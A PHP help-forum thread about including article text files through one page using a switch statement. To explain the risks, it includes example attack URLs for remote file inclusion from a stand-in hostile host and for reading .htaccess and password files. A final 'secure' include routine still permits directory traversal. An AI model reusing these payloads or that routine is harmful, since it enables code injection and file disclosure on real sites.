Txt File Question...

JayZ

Hope someone can help me or point me in the right direction.
Basically i have my main template and i want to open articles that are within txt files.
The txt files are in different directories, i.e.
Articles / A
Articles / B
Articles / C
etc.
Instead of using the include command all the time, is there an easier way?, otherwise i end up with loads of php files, where i might of well code the contents of the txt files into the php file.
Hope there is an easier way.
Would i be able to do it by hyperlinks, i.e.
articles.php?a=article1
Not even sure how this works.
Waiting for your advice.
Many thanks.

MrAlaska

I do not completely understand your structure, but you would only need one PHP page for the display. For instance, you page linking them would display the files available.

Then on your display page you could build a switch statement to include the file:

switch($include) {
	case 'file1':
		$include='articles/a/file1.txt';
		break;
	case 'file2':
		$include='articles/a/file2.txt';
		break;
	case 'file3':
		$include='articles/c/file3.txt';
		break;
	default:
		$include='invalid.php';
}

include $include;

There are simpler approaches that build the include dynamically based on the input, but they are inherently insecure so you would need additional checking to insure the files were valid.

JayZ

Thanks for your help MrAlaska,

Sorry i did not explain myself right.
This sounds like the type of code im after.
Will give it a try.
Is this way insecure, or the other simpler way?
If so could you explain the other way of doing this or point me in the way of an example.

Thanks again.

MrAlaska

A common approach is to include the file name like this:
<a href="display.php?include=?articles/a/file.txt">

THen on the display page not do any checking, just:
include $include;

The problem is people can substitute their own files in this way, such as sending the browser to:
display.php?include=http://www.hostilesite.com/hostilecode.php

or they can gain access to sensitive files, also:
display.php?include=.htaccess
display.php?include=\site\server\secret.htpassword

The method I showed you does protect against such attacks, but I admit it is a bit ungainly. I haven't had time to work out the details for a totally safe dynamic method, but I am all ears if somebody offers one.

JayZ

Having problems getting this to work. 🙁

Basically i have my main article page:
http://www.domainname.com/articles.php

And i have articles in several directories:
http://www.domainname.com/articles/a/articlename.txt
http://www.domainname.com/articles/b/articlename.txt
http://www.domainname.com/articles/c/articlename.txt
All articles are in txt format.

On articles.php i'm going to use the include command to include menu.inc of which will contain the hyperlinks to the articles.

But how do i go about putting this all together...

Using the code above and the hyperlink articles.php?page=/a/articlename.txt does not seem to work, either way i try it.

Don't get no errors, just a blank article.php with no txt.

Help plz.

Thanks.

PhaZZed

I would urge you to learn mysql, I was doing something similar, and was worried about mysql, but i took the time and learnt a little and now things run sooo smoothly, I LOVE IT.

www.mysql.net I think, have a read, its really straight forward, the simplest language, i would say its as easy as html!

hope that helps.

JayZ

I will move onto mySQL later on, but need to get to grips with php a bit more first.

Just need to get this code sorted and working. 🙁

Using a elseif statement, everything seems to work:

<a href=articles.php?page=article1>article1</a>
<a href=articles.php?page=article2>article2</a>

<?php
     if ($page == 'index')
     include("menu.inc.php");

 elseif ($page == 'article1')
 include ("articles/a/article1.txt");

 elseif ($page == 'article2')
 include("articles/b/article2.txt");
?>

But would prefer to get the switch statement command working, of which im having problems with.

<?php

if (isset($page)) { 

switch ($_GET['page']) { 

    case 'article1':
        include 'articles/a/articles1.txt';
        break;
    case 'article2': 
        include 'articles/b/articles2.txt';
        break;

}

} else { 

include_once 'menu.inc.php';

}

?>

What am i doing wrong, must be something simple... :rolleyes:

JayZ

Where's that helpful chap MrAlaska. 🙂

MrAlaska

lol On my way out the door!

Your code for the switch statement looks like it should work. You are checking for $page before entering the loop, but calling $GET['page'] once inside the loop. I don't know whether you are failing to initialize $page before the loop or unsetting the $GET array, but to be consistent I would initialize $page at the top of the page then call it by $page from then on. To trouble-shoot such loops you can build in statements to help track the progress:

<?php
$page=$_GET['page'];
echo "<br>page is set as: $page<br>";

if (isset($page)) {
	echo "<br>inside the IF loop<br>";
    switch ($page) {
        case 'article1':
            include 'articles/a/articles1.txt';
            break;
        case 'article2':
            include 'articles/b/articles2.txt';
            break;
        default:
        	include_once 'menu.inc.php';
    }

} else {
    include_once 'menu.inc.php';
}
?>

JayZ

Thanks for replying again Mr Alaska

Have tried your code and altered it to try and trouble shoot.
But still get the same problem.

Either a page that loads but missing the article without no error.
Or i get the printed statement "page is set as:" and then the two test hyperlinks, but whenb i click them i get returned with no article / content.

This is strange, could something be disable server side?

Thanks again.

MrAlaska

First of all, if things aren't working and you are getting no errors, it often means you just are not seeing them. Put this code at the top of each page to make sure you are not suppressing errors:

error_reporting(E_ALL);

If the ifelse statement works then that pretty much rules out server side issues regarding including the pages. The problem is probably in your script somewhere. Without seeing your code it is hard to make guesses, but if you are getting an empty value for $page it means either your $_GET array is being unset before you try to use it or $page is not being passed at all. Since the ifelse condition works, I would be inclined to investigate the former.

Also, try to move $page=$_GET['page']; near the top of the script. I like to initialize the variables when the page first opens, myself.

JayZ

There's not alot of php code used on this page.
Just a basic html template with includes for header, footer and menu.

But going back to the error reporting statement.
I get "Warning: Undefined variable: GET"
and points to the line: $page=$GET['page'];

$page=$_GET['page']; is near the top of the script.

If i take that line out, the page loads in time but slow.

But all seems to point to that line. "_GET"

MrAlaska

What version of PHP you using? Maybe you need to use:

$page=$HTTP_GET_VARS['page'];

instead of $_GET

If you have globals turned on, just using $page all by itself will work without extracting it from the _GET array, but doing it this way helps with code portability and stability as well as defines your script better.

JayZ

Im using PHP 4.0.6, yes i know its old hat now. 🙂

When $page=$HTTP_GET_VARS['page']; is used, all works fine. 🙂
When i insert the error reporting statment, i get:

Warning: Undefined index: in that $page line 😐

Have tried just using $page, no joy with that.

I can use the above without the error statement, but im just hiding up an error.

Thanks for all your help so far MrAlaska, i do appreciate it.

MrAlaska

Actually, it was probably a 'notice' as opposed to a 'warning' and if you were passing a page int the GET array it shouldn't have showed up?

To keep your code 'clean' you check for variables before assigning them:

<?php
if (isset($HTTP_GET_VARS['page'])) {
	$page=$HTTP_GET_VARS['page'];
} else $page="";
?>

JayZ

Just noticed your return post when i was going to say i have solved it. 🙂

		  <?php
if (isset($page)) {
    switch ($HTTP_GET_VARS['page']) {
        case 'article1':
            include 'articles/a/article1.txt';
            break;
        case 'article2':
            include 'articles/b/article2.txt';
            break;
        default:
            include_once 'menu.inc.php';
    }

} else {
    include_once 'menu.inc.php';
}
		?>

But will try what you said.

brb... 🙂

JayZ

Found the problem with the old bit of code.
Was the isset comand.

I was using:

if (isset($page)) {

Where i should of been using:

if ( isset($_GET['page'])) {

Just would like to say thanks for all your help MrAlaska in helping me to solve this little problem.

Thanks again.

MrAlaska

I don't know if you are still working on this project or not, but I thought of this post when I was working on one of my own. I think I have come up with a safe method of addressing pages as per the simpler but unsecure method I mentioned before.

If anybody sees a problem with this, comments are MORE than welcome, but I think it is secure and certainly much easier than adding all those pages by hand.

I didn't want to go back and change all my existing links, so I wrote it so it would add a .php exension on the links. It might be able to drop into your application by making it do the existing switch, but future links you might be able to bring in on the GET safely using their own path

(i.e. ?page=articles/a/article1.txt)

<?php

// gather the $page variable
// however it might be arriving
if (isset($_POST['page'])) {
	$page=$_POST['page'];
} elseif (isset($HTTP_POST_VARS['page'])) {
	$page=$HTTP_POST_VARS['page'];
} elseif (isset($_GET['page'])) {
	$page=$_GET['page'];
} elseif (isset($HTTP_GET_VARS['page'])) {
	$page=$HTTP_GET_VARS['page'];
} else $page="menu.inc.php";

// assign all the extensions that might be included
$extension=array(".php",".htm",".html",".txt");
if (in_array (strrchr($page,"."), $extension) ) {
	// make sure page is in local directory path
	$include="./".$page;
} else {
	// adding '.php' worked for my needs
	//$include="./".$page.".php"; // attach extension

// putting the switch here might work for you
switch ($page) {
	case 'article1':
		$include= 'articles/a/article1.txt';
		break;
	case 'article2':
		$include= 'articles/b/article2.txt';
		break;
	default:
		$include= 'menu.inc.php';
}

}

// display the page
?>
<html><head><title>Template</title></head>
<body>
<?php if(!@include("$include")){include("./menu.inc.php");}?>
</body>
</html>

JayZ

Hi MrAlaska,

Yes i'm still working on the project. 🙂
Many thanks.

MrAlaska

Yikes! When I cut and pasted your switch statement in I forgot to change the includes so they would work with the code as posted. Fixed now. Maybe.

No problem. Don't mention it. 🙂